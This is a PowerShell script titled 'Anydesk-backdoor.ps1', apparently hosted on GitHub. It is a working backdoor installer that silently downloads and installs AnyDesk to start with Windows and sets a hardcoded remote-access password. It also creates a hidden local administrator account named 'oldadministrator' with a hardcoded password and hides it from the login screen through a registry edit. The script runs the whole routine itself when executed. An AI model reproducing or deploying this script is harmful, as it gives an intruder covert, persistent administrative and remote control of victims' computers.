-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathAnydesk-backdoor.ps1
47 lines (37 loc) · 1.89 KB
/
Anydesk-backdoor.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function Install-AnyDesk {
param (
[string]$InstallPath = "C:\ProgramData\AnyDesk",
[string]$AnyDeskUrl = "http://download.anydesk.com/AnyDesk.exe",
[string]$Password = "J9kzQ2Y0qO",
[string]$AdminUsername = "oldadministrator",
[string]$AdminPassword = "jsbehsid#Zyw4E3"
)
# Error handling
try {
# Create the installation directory if it doesn't exist
if (-not (Test-Path -Path $InstallPath -PathType Container)) {
New-Item -Path $InstallPath -ItemType Directory
}
# Download AnyDesk
Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe")
# Install AnyDesk silently
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--install $InstallPath --start-with-win --silent" -Wait
# Set AnyDesk password
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--set-password=$Password" -Wait
# Create a new user account
New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force)
# Add the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member $AdminUsername
# Hide the user from the Windows login screen
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" -Name $AdminUsername -Value 0 -Type DWORD -Force
# Get AnyDesk ID
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--get-id" -Wait
Write-Host "Installation completed successfully."
}
catch {
Write-Host "Error: $_"
Write-Host "Installation failed."
}
}
# Call the Install-AnyDesk function with default values
Install-AnyDesk